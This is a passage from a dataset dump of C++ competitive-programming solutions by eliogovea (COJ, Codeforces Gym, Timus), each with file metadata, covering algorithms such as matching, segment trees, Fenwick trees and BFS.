{;\r\n\t\t\t\tadd(v[j], cur);\r\n\t\t\t}\r\n\t\t\tevents.push_back(event(angle1, -v[j] - 1));\r\n\t\t\tevents.push_back(event(angle2, v[j] + 1));\r\n\t\t}\r\n\t\tans = max(ans, cur);\r\n\t\tsort(events.begin(), events.end());\r\n\t\tfor (int j = 0; j < events.size(); j++) {\r\n\t\t\tif (events[j].id < 0) {\r\n\t\t\t\tadd(-(events[j].id + 1), cur);\r\n\t\t\t} else {\r\n\t\t\t\tsub(events[j].id - 1, cur);\r\n\t\t\t}\r\n\t\t\tans = max(ans, cur);\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.38989168405532837, "alphanum_fraction": 0.3971119225025177, "avg_line_length": 17.785715103149414, "blob_id": "d3749e31a0788ddcd1d1c7de151ab9e68971535d", "content_id": "9cb3c513d9cac1c654e42173c680e748a9c8cb63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 277, "license_type": "no_license", "max_line_length": 47, "num_lines": 14, "path": "/COJ/eliogovea-cojAC/eliogovea-p1901-Accepted-s465793.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nlong n,k,t,f,c;\r\n\r\nint main(){\r\n std::ios::sync_with_stdio(false);\r\n cin >> c;\r\n while(c--){\r\n cin >> n >> k >> t >> f;\r\n cout << n+k*(f-n)/(k-1) << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3606557250022888, "alphanum_fraction": 0.37704917788505554, "avg_line_length": 14.052631378173828, "blob_id": "85c54c1c4dad735730e442512182e82603d19e9a", "content_id": "ac3d16c78afc61a0f49c0ecf29ab0b95d9586e28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 305, "license_type": "no_license", "max_line_length": 30, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p1580-Accepted-s532660.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\nint n,mx;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%d\",&n) && n)\r\n {\r\n mx=n;\r\n while(n!=1)\r\n {\r\n if(n&1)n=3*n+1;\r\n else n=n/2;\r\n mx=max(mx,n);\r\n }\r\n printf(\"%d\\n\",mx);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4066390097141266, "alphanum_fraction": 0.4315352737903595, "avg_line_length": 18.08333396911621, "blob_id": "5145c748ec8385e2fdbced2963b1f15c4c20b3d2", "content_id": "bdd15dbfee7967fa62e8433cc02c64e547f42d26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 482, "license_type": "no_license", "max_line_length": 51, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2976-Accepted-s645181.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint n, a[50], e1, e2;\r\n\r\nint main() {\r\n\twhile (cin >> n && n) {\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\ta[i] += a[i - 1];\r\n\t\t}\r\n\t\tbool sol = false;\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tif (a[i] + a[i] == a[n]) {\r\n\t\t\t\tsol = true;\r\n\t\t\t\te1 = i;\r\n\t\t\t\te2 = i + 1;\r\n\t\t\t}\r\n\t\tif (sol) cout << \"Sam stops at position \" << e1\r\n\t\t<< \" and Ella stops at position \" << e2 << \".\\n\";\r\n\t\telse cout << \"No equal partitioning.\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3311389088630676, "alphanum_fraction": 0.34628045558929443, "avg_line_length": 16.870588302612305, "blob_id": "efc15efb849a6193f71980b3f69c634f50286954", "content_id": "2cbad8d44a360845a4c994fa1ae384a26e06cdab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1519, "license_type": "no_license", "max_line_length": 51, "num_lines": 85, "path": "/Caribbean-Training-Camp-2017/Contest_4/Solutions/C4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 300;\n\nint from[MAXN];\nbool mk[MAXN];\n\nvector<int> g[MAXN];\n\nbool dfs( int u ){\n if( mk[u] ){\n return false;\n }\n\n mk[u] = true;\n\n for( int i = 0; i < g[u].size(); i++ ){\n int v = g[u][i];\n if( !from[v] || dfs( from[v] ) ){\n from[v] = u;\n return true;\n }\n }\n\n return false;\n}\n\ntypedef pair<int,int> par;\n\nbool ok[MAXN];\n\nint n;\nstring s;\nstring c[150];\nint ans[150];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n >> s;\n for (int i = 1; i <= n; i++) {\n cin >> c[i];\n }\n\n for (int i = 1; i <= s.size(); i++) {\n for (int j = 1; j <= n; j++) {\n bool ok = false;\n for (int k = 0; k < c[j].size(); k++) {\n if (c[j][k] == s[i - 1]) {\n ok = true;\n break;\n }\n }\n if (ok) {\n g[i].push_back(j);\n }\n }\n }\n\n for( int i = 1; i <= s.size(); i++ ){\n fill( mk , mk + n + 1 , false );\n if( !dfs(i) ){\n cout << \"NO\\n\";\n return 0;\n }\n }\n for( int i = 1; i <= n; i++ ){\n if( from[i] ){\n ans[ from[i] ] = i;\n }\n }\n cout << \"YES\\n\";\n for (int i = 1; i <= s.size(); i++) {\n cout << ans[i];\n if (i + 1 <= s.size()) {\n cout << \" \";\n }\n }\n cout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.45330294966697693, "alphanum_fraction": 0.4851936101913452, "avg_line_length": 14.259259223937988, "blob_id": "a2e529aa1657332ef4429c276b6d85b1e931d514", "content_id": "cf2ac8d868a0f44a2faeb783a21319e7294dda14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 439, "license_type": "no_license", "max_line_length": 48, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p3671-Accepted-s960821.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nint solve(long long n) {\r\n\tif (n == 1) {\r\n\t\treturn 0;\r\n\t}\r\n\tif (n == 2 || n == 3) {\r\n\t\treturn 1;\r\n\t}\r\n\tif (n % 3 == 0) {\r\n\t\treturn 1 + solve(n / 3);\r\n\t}\r\n\treturn 1 + max(solve(n / 3), solve(n / 3 + 1));\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tlong long n;\r\n\tcin >> n;\r\n\tcout << solve(n) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.446153849363327, "alphanum_fraction": 0.45734265446662903, "avg_line_length": 18.428571701049805, "blob_id": "4335b3db3e39fb131abc5714a69378bef084bff4", "content_id": "240b6896166bf5c54dc070938db86dc6e45d0099", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 715, "license_type": "no_license", "max_line_length": 66, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p1721-Accepted-s652198.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n//#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint tc;\r\nstring str;\r\nvector<int> dp;\r\nstring words[] = {\"out\", \"output\", \"puton\", \"in\", \"input\", \"one\"};\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tdp.clear();\r\n\t\tcin >> str;\r\n\t\tint sz = str.size();\r\n\t\tdp.resize(sz + 5);\r\n\t\tdp[0] = 1;\r\n\t\tfor (int i = 0; str[i]; i++)\r\n\t\t\tif (dp[i])\r\n\t\t\t\tfor (int j = 0; j < 6; j++) {\r\n\t\t\t\t\tbool match = true;\r\n\t\t\t\t\tfor (int k = 0; words[j][k]; k++)\r\n\t\t\t\t\t\tif (str[i + k] != words[j][k]) {\r\n\t\t\t\t\t\t\tmatch = false;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\tif (match) dp[i + words[j].size()] = 1;\r\n\t\t\t\t}\r\n\t\tif (dp[sz]) cout << \"YES\\n\";\r\n\t\telse cout << \"NO\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3531453311443329, "alphanum_fraction": 0.3739696443080902, "avg_line_length": 20.342592239379883, "blob_id": "98c137fd2f3bad7a8c3e57d8da387ba1261f6627", "content_id": "ba1475960dc5c99ac291f5ce113d5a2d8b1c1f97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2305, "license_type": "no_license", "max_line_length": 63, "num_lines": 108, "path": "/Codeforces-Gym/100741 - KTU Programming Camp (Day 5)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 5)\n// 100741A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 10005;\n\nint n, m;\n\nstruct data {\n int leaf;\n long long sum[10];\n data() {\n leaf = -1;\n for (int i = 0; i < m; i++) {\n sum[i] = 0;\n }\n }\n};\n\ndata operator + (const data &a, const data &b) {\n data res;\n res = data();\n for (int i = 0; i < m; i++) {\n res.sum[i] = a.sum[i] + b.sum[i];\n }\n return res;\n}\n\nint arr[N];\ndata t[4 * N];\n\nvoid build(int x, int l, int r) {\n if (l == r) {\n t[x].leaf = arr[l] % m;\n t[x].sum[arr[l] % m] = arr[l];\n } else {\n int m = (l + r) >> 1;\n build(x + x, l, m);\n build(x + x + 1, m + 1, r);\n t[x] = t[x + x] + t[x + x + 1];\n }\n}\n\nvoid update(int x, int l, int r, int p, int v, int sign) {\n if (p < l || p > r) {\n return;\n }\n if (l == r) {\n long long old = t[x].sum[t[x].leaf];\n if (old + sign * v < 0) {\n cout << t[x].sum[t[x].leaf] << \"\\n\";\n return;\n }\n t[x].sum[t[x].leaf] = 0;\n t[x].leaf = (old + ((sign * v) % m) + m) % m;\n if (t[x].leaf < 0) {\n t[x].leaf += m;\n }\n t[x].sum[t[x].leaf] = old + sign * v;\n cout << t[x].sum[t[x].leaf] << \"\\n\";\n } else {\n int m = (l + r) >> 1;\n update(x + x, l, m, p, v, sign);\n update(x + x + 1, m + 1, r, p, v, sign);\n t[x] = t[x + x] + t[x + x + 1];\n }\n}\n\nlong long query(int x, int l, int r, int ql, int qr, int mod) {\n if (l > qr || r < ql) {\n return 0;\n }\n if (l >= ql && r <= qr) {\n return t[x].sum[mod];\n }\n int m = (l + r) >> 1;\n long long q1 = query(x + x, l, m, ql, qr, mod);\n long long q2 = query(x + x + 1, m + 1, r, ql, qr, mod);\n return q1 + q2;\n}\n\nint q;\nchar ty;\nint a, b, c;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> n >> m;\n for (int i = 1; i <= n; i++) {\n cin >> arr[i];\n }\n build(1, 1, n);\n cin >> q;\n while (q--) {\n cin >> ty;\n if (ty == 's') {\n cin >> a >> b >> c;\n cout << query(1, 1, n, a, b, c) << \"\\n\";\n } else {\n cin >> a >> b;\n update(1, 1, n, a, b, ty == '+' ? 1 : -1);\n }\n }\n}\n" }, { "alpha_fraction": 0.39449542760849, "alphanum_fraction": 0.4220183491706848, "avg_line_length": 17.81818199157715, "blob_id": "6272b87780ed89423afa3a29d460861babfd1344", "content_id": "9d0d3ee83084a773aeec24baa2e20ed2171e4c9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 436, "license_type": "no_license", "max_line_length": 40, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2909-Accepted-s644893.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 1000000;\r\n\r\nint tc, n, div[MAXN + 5], sol[MAXN + 5];\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tfor (int i = 1; i <= MAXN; i++)\r\n\t\tfor (int j = i; j <= MAXN; j += i)\r\n\t\t\tdiv[j]++;\r\n int mx = 0;\r\n for (int i = 1; i <= MAXN; i++) {\r\n if (div[mx] < div[i]) mx = i;\r\n sol[i] = mx;\r\n }\r\n scanf(\"%d\", &tc);\r\n while (tc--) {\r\n scanf(\"%d\", &n);\r\n printf(\"%d\\n\", sol[n]);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.30126336216926575, "alphanum_fraction": 0.3352769613265991, "avg_line_length": 17.709091186523438, "blob_id": "c9ab872a0e52741790fcc9936dc244ee1f467e32", "content_id": "fd06cd1f9d3a893feaca879b306948fa7bb4745a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1029, "license_type": "no_license", "max_line_length": 68, "num_lines": 55, "path": "/Codeforces-Gym/100719 - 2014-2015 CTU Open Contest/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CTU Open Contest\n// 100719B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int MAXN = 10000000;\n\nint a[MAXN] , b[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int tc; cin >> tc;\n\n while( tc-- ){\n int n; cin >> n;\n\n int d = 0;\n\n int sol = 0;\n\n for( int i = 0; i < n; i++ ){\n cin >> a[i] >> b[i];\n\n if( i == 0 ){\n d = b[i] - a[i];\n sol = d;\n }\n else{\n d = min( b[i] - a[i] , d + 1 + ( b[i] - b[i-1] ) );\n sol = min( d , sol );\n }\n }\n\n for( int i = n-1; i >= 0; i-- ){\n if( i == n-1 ){\n d = b[i] - a[i];\n }\n else{\n d = min( b[i] - a[i] , d + 1 + ( b[i] - b[i+1] ) );\n }\n\n sol = min( sol , d );\n }\n\n cout << \"K prechodu reky je treba \" << sol << \" pontonu.\\n\";\n }\n}\n" }, { "alpha_fraction": 0.42465752363204956, "alphanum_fraction": 0.4620174467563629, "avg_line_length": 15.52173900604248, "blob_id": "b5f2dc1c7a49adaac2204170270945ba30716c4e", "content_id": "0daaad527bbed73def7ecb718de02c8436c2984e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 803, "license_type": "no_license", "max_line_length": 68, "num_lines": 46, "path": "/Timus/1523-6220758.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1523\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int mod = 1e9;\r\n\r\nint n, k;\r\nint a[20005];\r\nint bit[15][20005];\r\n\r\nvoid update(int id, int p, int v) {\r\n\twhile (p <= n) {\r\n\t\tbit[id][p] += v;\r\n\t\tbit[id][p] %= mod;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\nint query(int id, int p) {\r\n\tint res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[id][p];\r\n\t\tres %= mod;\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> k;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tfor (int j = k - 1; j > 0; j--) {\r\n\t\t\tint tmp = (query(j - 1, n) - query(j - 1, a[i] - 1) + mod) % mod;\r\n\t\t\tupdate(j, a[i], tmp);\r\n\t\t}\r\n\t\tupdate(0, a[i], 1);\r\n\t}\r\n\tcout << query(k - 1, n) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3046448230743408, "alphanum_fraction": 0.3374316990375519, "avg_line_length": 14.636363983154297, "blob_id": "2a8b14c2bfefde57ebad70d9018b3fb4ad8c9d58", "content_id": "ac6e445aa9b67f329e9f7954a5977b4a62d88ce0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 732, "license_type": "no_license", "max_line_length": 41, "num_lines": 44, "path": "/COJ/eliogovea-cojAC/eliogovea-p3135-Accepted-s792683.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 5000;\r\n\r\nint cnt[N + 5][N + 5];\r\nint ans[N + 5];\r\n\r\nint main() {\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tfor (int j = 2; j < i; j++) {\r\n\t\t\tcnt[i][j] = cnt[i - 1][j];\r\n\t\t}\r\n\t\tint x = i;\r\n\t\tfor (int j = 2; j * j <= x; j++) {\r\n\t\t\tif (x % j == 0) {\r\n\t\t\t\twhile (x % j == 0) {\r\n\t\t\t\t\tcnt[i][j]++;\r\n\t\t\t\t\tx /= j;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (x > 1) {\r\n\t\t\tcnt[i][x]++;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tans[i] = 1;\r\n\t\tcnt[i][2] -= cnt[i][5];\r\n\t\tcnt[i][5] = 0;\r\n\t\tfor (int j = 2; j <= i; j++) {\r\n\t\t\tfor (int k = 1; k <= cnt[i][j]; k++) {\r\n\t\t\t\tans[i] = (ans[i] * j) % 10;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint t, n;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tcout << ans[n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.36734694242477417, "alphanum_fraction": 0.3969035744667053, "avg_line_length": 20.530303955078125, "blob_id": "fd5337c1665426828129bfb6f9a5010188100bfb", "content_id": "85d87b29ee085a1d78aef9bab11357db2bc58ebb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1421, "license_type": "no_license", "max_line_length": 71, "num_lines": 66, "path": "/Codeforces-Gym/100513 - 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100513G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint k, n;\n\tcin >> n >> k;\n\tvector <long long> v(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> v[i];\n\t}\n\tlong long mn = v[0];\n\tfor (int i = 1; i < n; i++) {\n\t\tmn = min(mn, v[i]);\n\t}\n\tvector <long long> s(n);\n\tint b = 0;\n\tint e = 0;\n\tlong long curSum = 0;\n\tlong long ans = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\tcurSum += v[i];\n\t\ts[e++] = i;\n\t\t//cerr << \"check sum start: \" << i << \" \" << curSum << \"\\n\";\n\t\tif (i >= k - 1) {\n\t\t\twhile (curSum >= 0 && b < e) {\n\t\t\t\tif (v[s[e - 1]] - mn > curSum) {\n\t\t\t\t\tv[s[e - 1]] -= (curSum + 1LL);\n\t\t\t\t\tans += (curSum + 1LL);\n\t\t\t\t\t//cerr << \"change: \" << s[e - 1] << \" \" << (curSum + 1) << \"\\n\";\n\t\t\t\t\tcurSum = -1;\n\t\t\t\t\tif (v[s[e - 1]] == mn) {\n\t\t\t\t\t\te--;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tcurSum -= v[s[e - 1]] - mn;\n\t\t\t\t\tans += v[s[e - 1]] - mn;\n\t\t\t\t\tcerr << \"change: \" << s[e - 1] << \" \" << v[s[e - 1]] - mn << \"\\n\";\n\t\t\t\t\tv[s[e - 1]] = mn;\n\t\t\t\t\te--;\n\t\t\t\t}\n\t\t\t}\n\t\t\t//cerr << \"check sum end: \" << i << \" \" << curSum << \"\\n\";\n\t\t\tif (s[b] == i - k + 1) {\n\t\t\t\tb++;\n\t\t\t}\n\t\t\tcurSum -= v[i - k + 1];\n\t\t\t//cerr << \"check sum end: \" << i << \" \" << curSum << \"\\n\";\n\t\t}\n\n\t}\n\tcout << ans << \"\\n\";\n\tfor (int i = 0; i < n; i++) {\n\t\tcout << v[i];\n\t\tif (i + 1 < n) {\n\t\t\tcout << \" \";\n\t\t}\n\t}\n\tcout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3163493871688843, "alphanum_fraction": 0.3600223958492279, "avg_line_length": 22.194805145263672, "blob_id": "fc3eaf77a6d0c3fffd79c8f1e03c8e2f59786588", "content_id": "a51707f4ccf65109958b25a70ede6392d52d5be1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1786, "license_type": "no_license", "max_line_length": 53, "num_lines": 77, "path": "/Codeforces-Gym/100803 - 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, Asia Tokyo Regional Contest\n// 100803A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n, m;\nint a[20], b[20], c[20];\nqueue <int> q;\nint depth[1 << 16];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> n >> m;\n for (int i = 0; i < n; i++) {\n cin >> a[i];\n }\n for (int i = 0; i < m; i++) {\n cin >> b[i];\n }\n int num = 0;\n for (int i = 0; i < n; i++) {\n num = 2 * num + a[i];\n }\n for (int i = 0; i < (1 << n); i++) {\n depth[i] = -1;\n }\n depth[num] = 0;\n q.push(num);\n while (!q.empty()) {\n int x = q.front(), xx = x;\n vector <int> vx;\n while (x) {\n vx.push_back(x & 1);\n x >>= 1;\n }\n while (vx.size() < n) vx.push_back(0);\n reverse(vx.begin(), vx.end());\n q.pop();\n for (int i = 0; i + 1 < n; i++) {\n if (vx[i] == vx[i + 1]) continue;\n swap(vx[i], vx[i + 1]);\n int y = 0;\n for (int j = 0; j < n; j++) {\n y = 2 * y + vx[j];\n }\n if (depth[y] == -1) {\n depth[y] = depth[xx] + 1;\n q.push(y);\n }\n swap(vx[i], vx[i + 1]);\n }\n }\n int cur = 0;\n int sum = 0;\n for (int i = 0; i < m; i++) {\n for (int j = 0; j < b[i]; j++) {\n c[sum + j] = cur;\n }\n sum += b[i];\n cur ^= 1;\n }\n int tar1 = 0;\n for (int i = 0; i < n; i++) {\n tar1 = 2 * tar1 + c[i];\n }\n int ans1 = depth[tar1] == -1 ? 1e9 : depth[tar1];\n int tar2 = 0;\n for (int i = 0; i < n; i++) {\n tar2 = 2 * tar2 + (1 - c[i]);\n }\n int ans2 = depth[tar2] == -1 ? 1e9 : depth[tar2];\n\n cout << min(ans1, ans2) << \"\\n\";\n}\n" }, { "alpha_fraction": 0.38748496770858765, "alphanum_fraction": 0.40433213114738464, "avg_line_length": 21.742856979370117, "blob_id": "55a3598f2e6f173f29c672bcd5663990a1bbfc46", "content_id": "2fa8e4b8b8b84944dbc5ef9d1c51023b8db3b862", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 831, "license_type": "no_license", "max_line_length": 60, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p1211-Accepted-s615828.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1010;\r\n\r\ntypedef long long ll;\r\n\r\nll n, x[MAXN], y[MAXN], d, dist[MAXN][MAXN], ind[MAXN], sol;\r\n\r\nint main() {\r\n\twhile (scanf(\"%lld\", &n) && n) {\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tscanf(\"%lld%lld\", x + i, y + i);\r\n\t\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\t\td = (x[i] - x[j]) * (x[i] - x[j])\r\n\t\t\t\t\t\t+ (y[i] - y[j]) * (y[i] - y[j]);\r\n\t\t\t\tdist[i][ind[i]++] = d;\r\n\t\t\t\tdist[j][ind[j]++] = d;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tsort(dist[i], dist[i] + ind[i]);\r\n\t\t\tfor (int j = 0, act = 0; ; j++)\r\n\t\t\t\tif (j == ind[i] || dist[i][j] != dist[i][act]) {\r\n\t\t\t\t\tsol += (j - act - 1) * (j - act) / 2;\r\n\t\t\t\t\tact = j;\r\n\t\t\t\t\tif (j == ind[i]) break;\r\n\t\t\t\t}\r\n\t\t}\r\n\t\tprintf(\"%lld\\n\", sol);\r\n\t\tsol = 0;\r\n\t\tfor (int i = 0; i <= n; i++) ind[i] = 0;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37455517053604126, "alphanum_fraction": 0.4083629846572876, "avg_line_length": 19.436363220214844, "blob_id": "a4ce4a77b71fec6171fec586fe2baf08d1f9994a", "content_id": "a8b33bc3e039ae2d34b721cd90a7b1f10c48248c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1124, "license_type": "no_license", "max_line_length": 77, "num_lines": 55, "path": "/Codeforces-Gym/101673 - 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)\n// 101673C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstring s, lo, hi;\n\nint calc_rot( string &ss ){\n int ret = 0;\n for( auto e: ss ){\n ret += e - 'A';\n }\n return ret;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen(\"dat.txt\",\"r\",stdin);\n cin >> s;\n int n = s.size();\n\n lo = s.substr(0, n/2);\n hi = s.substr( n/2, n/2 );\n\n // cout << lo << endl;\n int r_lo = calc_rot(lo);\n // cout << (char)(('U'-'A'+r_lo)%26 + 'A') << endl;\n // cerr << \"rot: \" << r_lo << endl;\n for( int i = 0; i < lo.size(); i++ ){\n lo[i] = (lo[i] - 'A'+r_lo)%26 + 'A';\n// lo[i] += r_lo;\n // lo[i] %= 26;\n // lo[i] += 'A';\n }\n // cerr << lo << endl;\n int r_hi = calc_rot(hi);\n for( int i = 0; i < hi.size(); i++ ){\n hi[i] = (hi[i] - 'A'+r_hi)%26 + 'A';\n\n }\n //cerr << hi << endl;\n for( int i = 0; i < lo.size(); i++ ){\n lo[i] -= 'A';\n lo[i] += hi[i] - 'A';\n lo[i] %= 26;\n lo[i] += 'A';\n\n }\n\n cout << lo << '\\n';\n}\n" }, { "alpha_fraction": 0.3425336182117462, "alphanum_fraction": 0.3736730217933655, "avg_line_length": 16.350648880004883, "blob_id": "0eae5d19db042543f0650e32f713c76aa6fface4", "content_id": "5cdf83ce7048984acb26683ab23150c4748bebd5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1413, "license_type": "no_license", "max_line_length": 47, "num_lines": 77, "path": "/COJ/eliogovea-cojAC/eliogovea-p3008-Accepted-s706113.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <queue>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 5005;\r\nconst int dx[] = {1, 0, -1, 0};\r\nconst int dy[] = {0, 1, 0, -1};\r\n\r\nstring s;\r\n\r\nint get() {\r\n\tint ret = 0;\r\n\tfor (int i = 0; i < 3; i++) {\r\n\t\tcin >> s;\r\n\t\tfor (int j = 0; j < 3; j++)\r\n\t\t\tif (s[j] == '*') {\r\n\t\t\t\tint pos = 3 * i + j;\r\n\t\t\t\tret += (1 << pos);\r\n\t\t\t}\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nint f(int n, int x, int y) {\r\n\tint ret = n;\r\n\tint pos = 3 * x + y;\r\n\tret ^= (1 << pos);\r\n\tfor (int i = 0; i < 4; i++) {\r\n\t\tint nx = x + dx[i];\r\n\t\tint ny = y + dy[i];\r\n\t\tif (nx >= 0 && nx < 3 && ny >= 0 && ny < 3) {\r\n\t\t\tint pos = 3 * nx + ny;\r\n\t\t\tret ^= (1 << pos);\r\n\t\t}\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nvoid pr(int x) {\r\n for (int i = 0; i < 3; i++) {\r\n for (int j = 0; j < 3; j++) {\r\n int pos = 3 * i + j;\r\n if (x & (1 << pos)) cout << \"*\";\r\n else cout << \".\";\r\n }\r\n cout << \"\\n\";\r\n }\r\n cout << \"\\n\";\r\n}\r\n\r\nint dist[N];\r\nqueue<int> Q;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n\tfor (int i = 1; i < N; i++) dist[i] = -1;\r\n\tQ.push(0);\r\n\twhile (!Q.empty()) {\r\n\t\tint x = Q.front(); Q.pop();\r\n\t\t//pr(x);\r\n\t\tfor (int i = 0; i < 3; i++)\r\n\t\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\t\tint nn = 